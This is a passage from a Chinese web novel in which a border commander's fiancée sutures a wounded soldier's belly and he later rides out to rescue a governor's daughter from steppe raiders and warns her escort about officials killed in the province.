秦猛转身握住她的双肩,“月娘,你可知道,昨日若有一个环节出错,死的就不止是几个戍卒,可能是整个堡寨被破,是我们所有人。”
“山贼可不会讲规矩,比**更可恨。”
他忽然握住月娘的纤手,声音低沉却坚定:“我孤身一人时无所畏惧,天下之大,哪里都可去得!可现在我有家室,有你要守护。”
正因为如此,我才必须主动出击,将威胁扼杀在萌芽之中。打得别人怕,不敢轻易招惹。”
陈月娘脸颊骤红,想抽手却挣脱不得。
“猛子哥,别……放开……”她的声音细若蚊蝇,心中却涌起一股暖流。
“怕什么?我们早已是夫妻,只差一场婚礼。”
秦猛把女人带入怀中,低头与她对视,目光灼灼。
“等扫灭蝇营狗苟之辈,便用八抬大轿,风风光光地娶你过门,让你堂堂正正做秦夫人。”
陈月娘心跳如鼓,羞得耳根通红,却轻轻“嗯”了一声,眼中泛起泪光。
秦猛勾起她的下巴,正要俯身——
“大人,不好了——陈老三撑不住了!”院外传来慌乱的喊声。
秦猛动作一顿,没能亲吻下去。
陈月娘如受惊小鹿般跳开,面红耳赤地嗔他一眼。
“日,真不是时候。”秦猛咬牙瞪眼,旋即肃容:“陈老三?我记得,是腹部受伤那个戍卒?”
“快去看看吧!”陈月娘也敛起羞涩,急声道。
她记得那个年轻士卒,不过二十来岁年纪,几日前,抬回来时腹部被划开长长一道口子,惨不忍睹。
两人快步出院,正见秦小芸与王艳停下晨练。
一名药童慌慌张张跑入院中,气喘吁吁地说明陈老三撑不过今日,秦猛带人迅速赶过去。
医疗所内,气氛压抑得让人喘不过气。
伤员陈老三躺在板铺上气息奄奄,腹间纱布已被血脓浸透,一股淡淡的腐臭味弥漫整个房间。
他腹部伤口显然已经感染,脓血不断渗出,脸
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色灰败如土。
北地冬季伤口本不易恶化,但一旦恶化便极为凶险。
医官唐博摇头叹息:“创口撕裂太大,药石无灵…回天乏力。”
“为何不缝合伤口?”秦猛皱眉喝问。
唐博面上闪过尴尬之色:“原本想试缝合之术,针具羊肠线皆已备好,可我……不善缝补。
军中戍卒无人精通针线,寻来的妇人又胆怯怕事,试了几次皆未能成。”
一片沉寂中,陈月娘忽然上前:“猛子哥,让我试试吧。”
众人目光齐聚于她。
这女子外表柔婉,内里却刚韧。
——为撑起秦家。她曾独入深山采药、夜半方归,面对狼群跳河逃脱,胆识胜过许多男子。
此刻她目光坚定,虽然脸色有些苍白,但手指稳而不颤。
秦猛凝视她清澈而坚定的双眼,又看向濒死的士卒,重重点头:“好,我来打下手助你,就像咱们在家,我教你的时候,不要慌乱。”
他即刻下令清出净室,以姜蒜水泼洒消毒,针线沸煮,盐水、药膏一一备齐。
一间简陋却严格的手术房迅速布置完成。
秦猛,陈月娘,唐博洗手净面,戴上棉布口罩。
唐博给陈老三喂了麻沸汤记,解开腰间的纱布。露出皮肉翻卷的豁口,那种**气息更浓。
唐博取出银针,扎在穴位上止血。
秦猛亲手用小刀刮去腐肉,清创消毒。
陈月娘则捻针引线,指尖稳如磐石——常年缝补衣物、刺绣贴补家用,她的针线功夫极是娴熟。
银针穿刺皮肉,羊肠线拉合创口。
那狰狞的伤口在她手下竟一点点闭合,虽仍显粗糙,却远比裂开时更易愈合,血水渗出渐少。
唐博在旁屏息观摩,时而点头,时而兴奋低叹:“妙啊!撕裂创伤有了新的疗法,这样缝合后,创口不易再裂,敷药也能更好地起作用。”
室外受伤的戍卒与妇人们窃窃私语。
王善、**等将领也悄然赶至,皆悬心而望。
手术持续了近一个时辰,直至最后一针打结,药膏覆上、纱布裹紧。
陈月娘才长舒一口气,额间细汗涔涔。
她的手指因为长时间保持精细动作而微微颤抖,但眼神却明亮异常。
秦猛确认陈老三没有事情后,为她擦拭汗水。
“接下来便交给你了,唐医官。精心调养,务必救活!”
“属下必竭尽全力!”唐博躬身领命,眼中满是敬佩。
他没想到这个看似柔弱的女子竟有如此胆识和手艺。
围观者唏嘘,秦猛仍紧握陈月娘微颤的手:“今日你救下的不止一人,而是让全军士卒皆知。受伤后送入军医所,可医,有路可活。”
此心此胆,胜似千军。”
“我只是做了每个女子都会的针线活罢了。”陈月娘低头浅笑,揉搓衣角,羞涩中带着光彩。
第70章 铁骑踏山河
秦猛凝视着医疗所,思绪飘飞到后世抗战中那些勇敢无畏的女医护兵。
他脑中急转,目光落在陈月娘身上,郑重开口:
“月娘,你可知,这针线活,却能从那阎王手中抢人。
陈老三大概率能活下去,你救下的不仅是一个戍卒,将来还能救活更多人,功德无量,居功至伟。”
他声音越发洪亮,仿佛要让所有人都听见:“女人心细如发,照顾伤兵更加擅长。边陲之地,从不太平。
本官决定,医疗所招募一批胆大心细的妇人协助护理,救治伤员。所有护工都将记录在册,由堡寨发粮发饷。”
他转向唐博:“唐医官,此事由你全权负责。”
“是,大人!”唐博先是一愣,随即激动地躬身领命。
医疗所扩充,意味着他的地位也将水涨船高。
“招募的女子称为护工,分为初、中、高三级,初级帮忙打杂,中级换药包扎,高级配药治伤。
堡寨按级别每月发饷,特殊情况会有额外奖励。”
“如此次这般撕裂伤口,但凡缝补救人者,救一人赏银五两,希望诸位婶娘妯娌大胆站出来。”
秦猛转向围在医疗所的妇人婆子,直接抛出重赏。
他从腰囊中掏出一锭五两白银,塞到月娘手中。
“这是你应得的奖励,买些衣裳首饰。”
“嗯!”陈月娘脸颊绯红,却欣然接过,重重点头。
这聪慧女子还将银锭掂量几下,方才小心收好。
重赏之下,必有勇妇。
一群婆子妇人目睹此景,眼睛发亮,心头火热。
五两银子,足够三口之家小半年开支,谁能不动心?
相信用不了多久,便会有人前来应招。
医疗所事毕,亲卫队长王善疾步来报:“大人,常东家的人手已到,正在堡外等候。”
他瞥了眼陈月娘,请示:“是否按原计划进行?”
“当然。”秦猛眼神一凛,“依计行事,这边事情已了。”
他沉吟片刻,当即下令:“传令:队伍堡外集结。”
秦猛转身面向陈月娘,语气柔和下来。
“月娘,我得走了。”
“好。”陈月娘虽忧色复起,却不顾旁人目光,上前为他整了整战袍,动作轻柔如妻子。
“一切小心,我……我和小芸在家等你。”
“放心,”秦猛微笑,目光坚定如铁,“此战之后,我要让边陲诸堡寨皆知:北地铁血军寨,秦某之锋,不可轻试;秦某之家,不可轻犯!”
言罢,披风一振,他大步而出。
朝阳初升,将秦猛身上飞虎重甲映得凛凛如冰,而身后女子的目光,却比暖阳更令他心定。
医疗所外,人群中不知是谁率先喊了一声:
“祝大人旗开得胜!”
“秦将军威武,祝大人旗开得胜!”
顿时应者云集,众人挥手呐喊,吼声震天。
那些妇人婆子更是热情,声音尖锐穿透云霄。
“哈哈哈,承诸位兄弟姐妹吉言,此战焉能不胜?”
秦猛仰天大笑,头也不回地挥手,声震四野。
“我娘子今日用针线缝合伤口,
明日我便率堡寨铁骑缝合界河以北,扫清鞑虏。”
陈月娘听到“我娘子”三个字时,脸红到了耳朵根。
她紧张地揉搓着衣角,心里却像吃了蜜般甜,那甜中,又带着一丝为心上人担忧的酸涩。
秦猛翻身上马,丈八铁枪向前一指,在暖阳中率亲兵飞驰而出,留下滚滚烟尘和一双久久凝望的眸子。
...
后堡门外,两拨人马已集结等候。
一队近百人是常九粮行抽调的护卫和伙计,个个孔武有力,穿着皮甲,跨着堡寨提供的战马,看上去有模有样。
领队是个满脸虬髯的大汉,名叫常勇,一双虎目炯炯有神。
另一队百人骑着高头大马,身披铁甲,目光犀利如鹰。
他们刚经历山贼袭击的恶战,身上杀气未消,仿佛随时准备扑向猎物的狼群。
袁飞和**并肩领队。
袁飞此次非要跟随,倒是个意外。
秦猛本不愿带他,但这青年倔强如牛,劝不走,又不好撵,只得由他带人随行,充当打手。
除此之外,十来匹战马上捆绑着冷艳山的俘虏。
“老弟,我就不能与你同去了,但青阳县那边已有人接应。”常九一直没走,与秦猛说着告别的话。
“这一路奔波劳累,老哥就静候佳音吧。”
秦猛客套几句,心里却暗道你倒是有自知之明。
这胖子两三百斤,太过显眼,乌维都被震住。只要不傻,谁看不出是你常家参与了这事?
“出发!”队伍准备妥当后,带上物资,秦猛大手一挥,率队浩浩荡荡向青阳县方向进发。
……
大周疆域划分为东西南北,中原五境,二十三州,地域广袤远超后世任何朝代。
地方推行郡(府、军)县制,而边陲州府治下还额外设有边防大营、城寨、堡寨等军事边镇。
青阳县虽隶属燕北郡,但却是郡衙治所所在,又称燕北郡城,只是当地百姓习惯叫青阳县。
而且这边城,文官怕死不敢来,郡守常年空缺。
郡城事宜由郡丞代为管理。
据说,这郡丞与刘德福关系甚好。
正因如此,此次行动,与上次剿杀捕奴团、解救百姓只需去县衙具状不同。
这回核心是夺取刘家产业,秦大壮、张富贵等人的分量远远不够,必须由秦猛亲自前去坐镇。
燕北郡地形并非全然平坦,概貌为“三山一水六分田”。
地势自北向南、自东西两侧向中部凹陷倾斜,东西两厢的山地丘陵向中部平原逐步下降,呈马蹄形缓缓延展。
这使得燕北郡地形多样,既有山地丘陵,也有平原地区,整体地势相对平坦,土地肥沃
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。
亦是草原入境大周的坦途之一。
防御体系上,最前方是边防军事区域。
后方是边防城镇,再往后方则分布着零散集镇,村堡,村民在大片平原上耕种。
境内几条大河贯通的水网则滋润着这片土地。
青阳县距离边堡不足三十里路程。
自北方草原部落劫掠,大周构建界河防线。
青阳县从普通下县升格为郡城,为供应边塞粮草。
那是因为大周疆域广袤,尤其是北方。幽州一地,就相当于后世东三省加上河北、陕西部分面积。
幽州总人口却仅有数百万,是真正的地广人稀。
秦猛率领队伍向青阳郡城进发,众人顶着寒风赶路。
朔风如刀子般刮在人脸上,疼得厉害。
但生活在边陲的人们,早已习惯这种鬼天气。
众人骑乘快马,行进速度飞快。
……
时值冬季,第一场冬雪将至。
界河与幽州境内的运河眼看就要冰封,大周商队如潮水般涌来,扎堆等候边境指定榷场开放。
——这满船的物资却也成了草原部落眼中的肥肉。
每年这个时候,草原骑兵总会循着商队的踪迹来劫掠。
今年也不例外!
一队狼戎骑兵趁着夜色悄悄越境,本就打定主意要抢商队、洗村坊,好搜刮过冬的粮食与物资。
却“意外”撞见了一支规模不小的车队。
那数十辆大车上,不仅堆得满当当的全是粮食,还有茶叶、棉被这类紧俏物资。
光是看着,就让狼戎骑兵的眼睛红了。
即便知道离大周郡城已不远,即便瞧见车队有官兵护送,狼戎骑兵也没有畏惧,依旧举着弯刀、骑着快马,如饿狼扑食般席卷杀来。
他们嘴里发出嗷嗷的怪叫,眼神里满是凶残。
——要粮食、抢女人,在边陲地带烧杀掳掠。
本就是刻在他们骨子里的本性。
发现**来袭,尽管护送车队的官兵只有数十人,却没一个露怯的,也绝非不堪一击之辈。
在一位魁梧大汉的指挥下,他们一边策马结阵,举盾格挡箭雨,一边护着车队往后撤。
那魁梧汉子虽只穿着地方军制式的铆钉皮甲,甲胄边缘甚至磨出了毛边,却半点不显局促。
他勒马立于队尾,声线洪亮如钟:“左翼举盾压阵,右翼分两队护车后撤,其余人还击。”
话音刚落,原本略显慌乱的官兵瞬间动了。
前排骑士齐齐将圆盾架成密不透风的盾墙,箭雨砸在盾面“噼啪”作响,竟无一支穿透,
后排骑士则护着粮车,循着大汉指的方向稳步后退,退而不乱。
大汉目光扫过阵脚,见有辆粮车车轮陷进坑洼,立刻扬鞭指过去:“两人推车,其余人补位防箭!”
不过瞬息,缺口便被补上。
密集箭矢乱飞,追来的狼戎骑兵不得不减缓速度!
第71章 狼戎猖獗
凛冽寒风卷着冰碴子刮过荒原,将零星的喊杀声撕得粉碎。
冻土上,数十辆马车疯了般奔逃。
驮马被马鞭抽得嘶鸣不止,车轮碾过冻裂的地面,发出如垂死者喉间漏气般的吱呀哀鸣。
百余名狼戎骑兵踏碎烟尘而来。
他们头戴狰狞狼头帽,狼皮袄子上还沾着未干涸的血渍,胯下草原马奔跃如飞,像嗅到腐肉的饿狼般分成两股,呈合围之势包抄过来。
“嗷嗷嗷……”粗野的嚎叫声撕裂天际,那声音里没有半分人性,只有草原猛兽般的贪婪与凶残。
“右翼补位!弓手压制左翼三十步!”
护送车队的魁梧军官声如沉雷,冷静地指挥。
他是青州府衙马军都头张崇,脸上溅着温热的血点,皮甲肩部嵌着半截断箭,却仍稳坐马背如磐石。
——这是从尸山血海里爬出来的老兵,此行要护的,是老上司的家眷,他岂能有退缩之心?
张崇目光紧锁追兵,弯弓搭箭的手稳如铁铸。
他每一支箭都精准穿透狼戎骑兵的咽喉或心口,逼得那些悍匪不敢贸然突进。
军卒们听着他的指令排兵布阵,合力退敌,显然是想边打边撤,拖到郡城守军驰援的那一刻。
可狼戎人偏不按常理出牌。
他们不正面冲击,只在车队后方、两侧游走,像毒蛇般绕着圈子,骑射更是刁钻至极,冷箭密密麻麻射来,专挑防御薄弱的空隙钻。
“嗖嗖嗖……”箭矢破空的尖啸刚过,便传来年轻士兵的惨叫。
一名兵卒捂着喷血的脖颈栽下马车,双眼圆睁,至死还攥着手中的长矛。
张崇眼角狠狠抽搐,目眦欲裂。
——这些兵跟随他多年,都是他一手带出来的子弟兵。
破绽一旦出现,狼戎骑兵立刻如饿狼扑食般突进奔射。
箭矢像飞蝗般扎进人群,官兵们防御不及,接连中箭倒地。
血腥味混着寒风飘进车厢,局势眼看着就要崩了。
车队中央的豪华马车内,熏香炉早被颠翻,香灰混着从车窗缝隙灌进来的寒风,成了刺鼻的灰雾。
三个女人揪着心听着外面的厮杀,脸色惨白如纸。
主位上的林婉儿正值妙龄,容貌绝丽,指尖却死死攥着衣角。
——她是这支车队的主人,燕北郡新郡守林安国的女儿。
身旁的乳娘琴娘本就是普通民女,此刻双手攥得指节发白,嘴唇哆嗦着连话都说不囫囵。
琴娘的女儿,贴身侍女小蛮凑到窗帘缝隙外看了一眼,脸颊瞬间涨得通红,声音发颤:“小姐,娘,外面……外面官兵倒了好几个了。
**的箭跟下雨似的,越追越近,这可怎么办啊?”
林婉儿强迫自己压下心慌,声音轻柔却带着安抚的力量:“琴娘,小蛮,莫慌,估摸着,咱们离郡城已经很近了,再撑一会儿就安全了。”
“这些**怕郡城的守军,等再近些,他们自会退走的。”
可女孩还是想错了!
——狼戎骑兵早已望见了远处青阳郡城的轮廓,非但没掉头,反而追得更紧、杀得更狠!
“哈哈哈……”狼戎骑兵扯着嗓子狂笑,嘴里喊着叽里呱啦的草原话,话语粗鄙,眼神凶狠。
许多人用生硬的汉话说着不用怕,声音里满是狂妄。
在他们眼里,大周的汉人官兵都是怯懦的羔羊,就算那郡城的守军,也未必敢出城迎战。
于是,他们越发肆无忌惮,箭射得更密了,不仅盯着官兵和护卫,连赶车的车夫都没放过。
惨叫声此起彼伏,倒下的人越来越多。
马车没了车夫操控,离队或速度渐渐慢了下来。
“嗷呜——杀!”
脸上带着刀疤的狼戎百夫长见驱赶得差不多,终于按捺不住,举起染血的弯刀发出号令。
骑兵逼近,箭矢如暴雨般射向车队。
官兵、车夫接连中箭倒地,怒骂声,惨叫声、马嘶声混在一起,成了一曲催命的死亡交响。
“保护小姐!”张崇**连挑,将射向车厢的箭矢击飞,顺势一枪挑翻冲在最前的敌骑,可一个不慎,后背却被另一把弯刀狠狠劈中。
他咬着牙没哼一声,反身捅杀敌人,嘶吼着下令:
“快!向后队靠拢,组成圆阵!”
可狼戎骑兵太灵活了。
他们分成数股,游而不攻,像毒蛇般缠在车队周围,频繁放冷箭,专找防御薄弱处撕口子。
一个狼戎骑兵突然从侧翼突入,弯刀寒光一闪。
车夫的头颅直接飞了起来,鲜血喷溅在粮袋上,染红了半车粮食。
驮马受惊狂奔,满车粮食瞬间被狼戎劫走,猖狂的笑声顺着风飘过来,刺得人耳膜生疼。
很快,车队中央的豪华马车成了狼戎的重点目标。
三支箭矢“哆哆哆”钉在车厢板上,箭羽还在颤抖,车内顿时传出惊叫声。
“小姐,低头!”驾车的林府管家林洪猛地一拉缰绳,躲过一支直射面门的箭矢,可肩头还是被另一支箭擦过,鲜血瞬间渗了出来。
车内,林婉儿攥着袖中的**,刀鞘上的明珠硌得掌心生疼——这是她及笄时父亲送的。
当时父亲还说“汉家儿郎从不怯懦,吾儿当有玉之坚贞”。
“小姐…”小蛮突然抓住她的手腕,眼中满是恳求:“**要抢粮就给他们,你别做傻事啊!”
“闺…闺女,郡城…城官兵马上就来。”琴娘猛地握住林婉儿的手,自己却止不住牙关打颤。
林婉儿突然想起半月前父亲派人送来的家书:“今岁冬雪迟迟未降,白灾甚厉!胡虏恐铤而走险,务必多带护卫,或是开春了再来。”
那时她只当是寻
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常叮嘱,如今才知字字都是血泪。
今日,怕是真的难了。
“只是爹爹……”林婉儿眼眶泛红,望向郡城的方向,眼中充满不舍,声音发颤却带着决绝。
“琴娘,护住小蛮。”
“我是林安国的女儿,今日若是难逃一劫,绝不受辱于鞑虏!”林婉儿柔声说,一字一顿。
话音刚落,外面传来林洪的惨叫,一支箭扎进了他的肩头。
“爹!”“当家的!”琴娘和小蛮同时惊呼。
鲜血染红了林洪的衣襟,马车顿时失控,向左猛偏。
狼戎百夫长眼睛一亮,看出这豪华车驾里是“大鱼”,立刻率领十余名亲兵直扑过来。
“抓住他们!”
眼看马车就要被追上,受伤的林洪突然拼尽全力猛拉缰绳。
马车一个急转,竟偏离了主队,朝着一旁的小路奔去。
“狡猾的汉人!”百夫长怒骂着,率队紧追不舍。
崎岖的小路上,马车颠簸得像惊涛骇浪中的船。
车内的女人东倒西歪。
突然,左后轮“咔嚓”一声撞上石头,车轴应声断裂,整个车厢猛地倾斜,重重摔在地上。
林洪被甩出车辕的刹那嘶喊:“不要管我,快带着小姐,小蛮,往白桦林跑,老爷说过…”
可已经晚了!
——十来名狼戎骑兵已经围了上来,脸上露出淫邪又狰狞的笑:“漂亮的汉人女子就是水灵。”
为首的百夫长舔着刀上的血渍,突然用生硬的汉语怪笑:“郡守家的小姐?够换三千头羊了!”
林婉儿将**抵在心口,忽然听见琴娘撕心裂肺地哭喊:“洪哥!”
她这才看清倒地车夫花白的鬓发。
——那是从小教她骑马的洪叔,是偷带她逛庙会的洪叔。
林婉儿握紧**,指尖因用力而发白,眼中闪过一丝决然。
就在她准备自尽时,远处却突然传来震天的号角——
“呜、呜——”
低沉而威严的号角声,瞬间压过了所有的厮杀与惨叫。
地平线上,一道黑线迅速蔓延而来。
速度越来越快,越来越近,赫然是一支铁甲骑兵!
为首一将黑袍黑甲,手握丈八铁枪,枪尖在阳光下闪着冷冽的光——正是秦猛。
他本是往青阳郡城去,却撞见了这场惨烈的追杀。
那些穿着狼皮袄、戴狼头帽的草原人,正挥舞着弯刀嗷嗷嚎叫,像饿狼般撕咬着同胞的血肉。
“狼戎!”秦猛一眼认了出来,脸色瞬间阴沉得能滴出水。
他清楚,这狼戎是东胡的一支,每到冬日便越过界河劫掠,手段狠辣至极,从不留活口。
面对同胞被屠戮,秦猛岂能坐视不理?
他二话不说,率队冲锋,身后,两百多骑兵瞬间如潮水般铺开,朝着狼戎骑兵席卷而去。
第72章 铁骑破敌,陌路同行
“杀,杀**!”喊杀声震天动地,如同雷霆撕裂苍穹。
大周铁骑如黑色潮水般汹涌而至,马蹄践踏着大地,卷起漫天沙尘。
为首的秦猛,胯下乌骓马快如闪电,人如猛虎,枪似**,转眼已冲到狼戎百夫长面前。
那百夫长脸色剧变,刚举刀欲挡,就听“铛”一声震耳欲聋的金铁交鸣——弯刀竟被一枪震飞。
他虎口迸裂,鲜血淋漓,还未及反应,秦猛丈八铁枪已如毒蛇出洞。“噗嗤”一声贯穿其咽喉!
鲜血喷溅,百夫长瞪大双眼,难以置信地死绝而亡。
其余狼戎骑兵骇然欲绝,还来不及组织反击,袁飞、王善、**已率铁骑掩杀而至。
刀光闪烁,血雾弥漫,惨叫不绝。
秦猛一甩枪尖尸身,砸翻一名敌骑,反手又一枪结果其性命,锁定前方敌群,声如洪钟喝道。
“左右散开,合围歼之!”
身后骑兵应声裂为两股,如翼展开,迅疾如风。
“端**!瞄准——放!”袁飞大吼一声,双腿控马,张巨弓如满月。
他身后,数十骑弓**手齐动,不用手执缰,强弓硬**齐发。
——箭雨破空,密如飞蝗,竟比寻常军**更劲、更疾!
护送车队的军官张崇瞳孔一缩:这等骑射功夫,绝非普通边军所能。
他却未留意到,这支骑兵人人配备双边马镫,不用缰绳就能控马,驭马射术因此远胜寻常。
三棱箭矢贯入皮甲,“噗嗤”声不绝。
“啊、啊……”狼戎骑兵应声**,惨叫凄厉。这一幕与他们之前射杀汉人何其相似,何等讽刺!
与此同时,王善、**两兄弟如双刀出鞘,率队直插敌阵,**翻飞,手下无一合之敌。
以他俩为箭头,队伍所向披靡。
常家护卫首领常勇也领着二十多个悍勇护卫冲杀。这虬髯大汉勇猛,吼声如雷,连斩数人。
庞仁则带队游弋战圈外围,逐渐收紧包围——
一路嚣张追猎的狼戎骑兵,转眼竟成瓮中之鳖。
秦猛勒马转身,目光落向那辆倾覆的马车旁。
三名女子惊立其间,当中一人素手紧握**,眸如寒星,虽衣衫染血、鬓发散乱,却自有一股决绝之气。
秦猛微微一怔:那神情……竟似极了记忆中的陈月娘。
“休要惊慌,我等是铁血堡寨边军,你们安全了。”他沉声开口,声如铁石交击,不容置疑。
随后,他率领亲卫队加入战场。
林婉儿怔怔望着这如天神骤降的黑甲将军,心中生出庆幸,指尖一松,**“当啷”落地。
远处厮杀声渐息。秦猛亲率铁骑反复冲阵,狼戎残兵欲逃,却因马力已疲、退路被截,纷纷被斩于马下。
几个逃得远的狼戎人,也被袁飞一一狙射**。
不过一刻,百余敌骑尽数覆灭。
车队幸存者目瞪口呆地望着这一幕,方才还如狼似虎的**,此刻却无还手之力,已成遍地尸骸。
“这是哪支军队?”人们脑海里不禁冒出这样一句话。
“这才是真正的精锐。”张崇握紧拳头,眼神炙热。
“快!打扫战场——战马、兵甲、首级,一个不漏!”
王善、**高声传令各队,新兵被老兵带着给**补刀、砍首级,记功,动作麻利熟练。
庞仁则带人救治伤员,寻回马车,收殓尸体。
随军医疗兵经专业培训,处理箭伤刀伤,手法老练,清创敷药、包扎固定,看得张崇暗暗称奇。
秦猛拨马回返,玄甲映着冬日冷光,肃杀如神。
他目光扫过张崇:“你叫什么?”
“回将军。”张崇忙回答:“青州府衙马军都头张崇。”
“是条好汉。”秦猛颔首称赞,又看向林婉儿。
“你们是何处车队?”
张崇又回道:“是青州府官眷车队,欲往燕北郡城。”
那姿态端庄的官家小姐朝秦猛曲膝,行了个万福:“于郡城十里外遇狼戎袭击,多亏将军搭救。”
“哦?哪位官员家眷?”
林婉儿正要答话,忽闻北方马蹄声再起——烟尘滚滚,竟又是一队骑兵驰至,约二百余骑。
没有旗号,车队幸存者顿显骚乱起来。
“一队集结!”秦猛看得清楚不是**,却举枪厉喝。
王善、袁飞即刻率部列阵,动作整齐划一,杀气未敛。
来者是燕北郡青阳县驻军,为首的是郡兵马都监董成。
他年方二十三四,白面轻甲,腰佩长剑,一身铆钉皮甲镀银镶铜,华丽有余、实战未卜。
与秦猛这支轻装简从、杀气凛冽的边军相比,董成的人马气势弱了许多,更像是一支仪仗队。
大周地方军制与边军迥异:
队将等于都头,都头之上为营指挥、兵马都监、统制、总管。董成身为郡都监,乃从七品武官,掌一郡地方军队屯驻、训练之责。
地方军素来瞧不起边军“粗野”。
而边军也看不上地方军的“无能”。
此时郡兵一见满地狼戎尸首、缴获的战马兵甲,不少人都眼红起来,窃窃私语、跃跃欲抢。
——直至袁飞冷眼抬弓,王善横枪立马,百来个铁甲军汉眼神锐利,杀气扑面,才纷纷缩首噤声。
“哼,这地方军……果真无可救药。”秦猛低声冷嗤。
董成率队靠近,一眼瞥见林婉儿,顿时惊为天人。
他急急下马趋前,执礼甚恭:“这位姑娘便是林小姐吧?在下燕北郡兵马都监董成,早听说林郡守家眷赶来,奉郡丞之命特来接应。”
“嗯?”秦猛双眼眯起,瞥见张崇脸色难看至极,不禁嘴角上扬,这郡城内似乎有好戏看了。
“董某救援来迟,还望林
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小姐恕罪!”
董成笑容温文,语气殷切,一副翩翩公子做派。
林婉儿却下意识退至乳娘身后,只微微颔首,并不接话。没来由的就觉得这家伙笑容虚伪。
她转而望向秦猛,声音清晰婉转:“还未谢过将军的救命大恩。不知将军欲往何处?”
“青阳县。”秦猛言简意赅。
“那正好同路,”林婉儿眸光微亮,“可否劳烦将军……沿途照拂一二?”
“自然。”秦猛依旧言短气冷,却自有一股令人心安的沉稳。
董成脸色顿时难看,斜眼睨向秦猛,语带挑衅:“阁下是何部所属?本官怎未曾见过?”
秦猛睨他一眼,忽然唇角一勾,笑中带厉:
“你最好别打听,免得吓破了胆子,坠马丢人。”
“哈哈哈……”身后边军哄然大笑。
袁飞甚至故意挽弓弦轻振,发出一声锐鸣之声。
董成霎时面红如血,手指秦猛:“你……狂妄!”
他身后几名亲兵立即按刀上前,气氛陡然剑拔**张。
袁飞默不作声地搭箭上弦。
王善、**各持**,策马略前一步,目光狠厉,虽无一言,却如磐石峙立,煞气逼人。
董成眼角抽搐,他虽自持勇猛,却深知边军悍勇、杀伐果断,真动起手来,自己这群绣花枕头绝非对手。
他强压怒火,冷哼一声:“林小姐安危要紧,本官不与你一般见识。”
说罢,转身吩咐部下:“快,护送车队起程。”
林婉儿微微蹙眉,轻声而坚定地说道:“董都监,有这位将军同行即可,不敢再劳烦郡兵。”
董成脸色更青,正要再说。
忽见一骑快马自北奔来,乃是郡兵探子,疾驰至他身边低声急报:“都监,北方发现大队狼戎游骑踪迹,约有两三百骑,正朝这边移动!”
董成神色一变,下意识看向秦猛。
秦猛虽未听清具体,却从对方神色中读出危机。当即厉声道:“庞仁,带人加强警戒。
袁飞,带弓骑分散在前后半里哨探。
王善、**,把战马和战利品交给二队,整队备战!”
“是!”
命令下达,麾下应声而动,迅疾如风,丝毫不乱。
董成愣在原地,他本想借机示警逞威,却被秦猛反客为主。
林婉儿看在眼里,更觉这位黑甲将军沉着可靠,而董成虚浮无能。
她不再犹豫,对秦猛微微一礼:“有劳将军了。”
随即转身登车,乳娘与丫鬟紧随。
秦猛不再多看董成一眼,只一挥手:“出发!”
车队再度起程,边军骑兵分列前后左右,将马车牢牢护在中央,军容严整,肃然前行。
董成僵立片刻,咬牙狠声道:“妈的,跟上去!”
他倒要看看这伙边军到底是什么来路,又能嚣张到几时。
第73章 秦猛的告诫
秦猛率麾下骑兵护送车队前行,铁甲在日光下泛着森冷的光,密集的马蹄踏得山道嗡嗡发颤。
整支队伍浩浩荡荡,透着一股慑人的肃杀气!
他虽自恃武力过人、精通军事,却从不敢小觑天下英雄。
见青州府衙军官张崇护队章法稳妥,行事周密,是个将才,他心里已悄悄动了拉拢的念头。
行军途中,秦猛拍马靠近张崇,看似闲聊,慰问伤势,拉拉家常,实则细细询问起一路情况。
“卑职从青州护送至幽州,一路转走,宽敞大道,都派了斥候探查,没敢暴露行迹,故未遭袭击。”
张崇据实回话,话锋却一转,语气添了几分凝重!
“可眼看要到郡城,我一时松懈没派侦察队,林子里竟突然杀出狼戎骑兵。
——那架势,倒不像是误打误撞,反倒像早设好的埋伏。卑职觉得对方就是从我们来的。”
秦猛闻言,眉头微蹙。
他想起此前多位官员在幽州遭遇山贼、**“意外”袭击的事,心里越发肯定,这车队遇袭绝非偶然。
他忽然开口,语气带着几分提醒:“张都头,你们初来乍到可能不知,幽州地处边陲,离中原王庭千八百里,天高皇帝远,可不是什么太平地。”
“将军这话是何意?”张崇眼神一凛,满是疑惑地追问。
秦猛便将从冷燕山贼人处拷问来的情报,捡要紧地提了几句:“四年前九月,幽州监察史赖大人巡视郡县,遭**袭击,当场殒命。
三年前开春,朝廷新派的转运使,在运河上遇袭,连人带船沉了底。
两年前九月,燕北郡郡守赶路时遇袭重伤,送医途中也没撑过去……
不久前,冷艳山贼人袭击边寨。”
“什么?”张崇脸色骤变,眼中满是惊愕,后背瞬间沁出一层冷汗,这些事令他不寒而栗。
秦猛深深看了他一眼,嘴角勾起一抹耐人寻味的笑:“这几位大人遇难之事,朝廷震怒,闹得不小,你入城后,稍作打探便能查到。
而且他们个个声名不错,都是肯为国办事的好官。不知你的老上官林大人,性子又如何?”
“林大人于卑职有救命之恩,深知他性格耿直,在江南、青州任职时,秉公执法,为官清廉!”
张崇声音低沉,对林大人极为敬重。却几乎是咬牙切齿地说,显然,这汉子听出了话外之音。
秦猛见他神情便知此人不是蠢笨之辈。
——拉这位lin郡守一把,结下善缘,官场上多一个外援帮衬,日后行事也能如虎添翼。
他脸色凝重,意味深长地说:“你是聪明人,该察觉出这里头的不对劲了。
回去后转告林大人,往后在任上,务必多加小心。
前两天夜里,还有贼人敢袭击本将的边寨。结果被本官几乎全剿灭,却也审出不少消息。
幽州这趟浑水,很深,贼人的胆子大得很。”
“是!卑职记下了!”张崇虽仍有惊愕,却掷地有声地回应。
“这幽州边陲,主要靠边军和地方官府撑着,说是相互依存,实则各有心思,并不和睦。
如今入冬,界河快冰封了,**也越发猖獗了……”
秦猛看似漫不经心地说着,目光却始终警惕着周遭,还不时扫向那临时加固过的豪华马车。
——那车里坐着的是林大人的千金。
马车内,逃过一劫的林婉儿、琴娘和小蛮,脸上还带着未散的后怕。
三人时不时掀开帘缝,悄悄张望外面的情况。
林婉儿的目光,总不自觉地落在马车外秦猛魁梧的身影上,可每当对方似有察觉转头看来时,她又会慌忙放下帘子,脸颊瞬间飞起两片红晕。
琴娘在一旁看得清楚,忍不住偷笑。
她是过来人,哪能不懂自家小姐的心思。方才那惊险时刻,若不是秦猛如旋风般杀来相救,后果不堪设想。
她凑到林婉儿身边,压低声音打趣:“小姐,我瞧那黑甲将军生得俊朗,又英武不凡。
瞧着顶多二十三四岁,还半点不怕那董都监,定是个有本事的官身。要不然,待会我让小蛮去问问他的名字,还有……是否婚配?”
“好哇好哇!这事交给我!”
侍女小蛮闻言,立刻兴奋地接话,小脸上满是雀跃。
“琴娘,小蛮!”林婉儿的脸蛋更红了,伸手轻捶身边两人,心里却像浸了蜜般甜丝丝的。
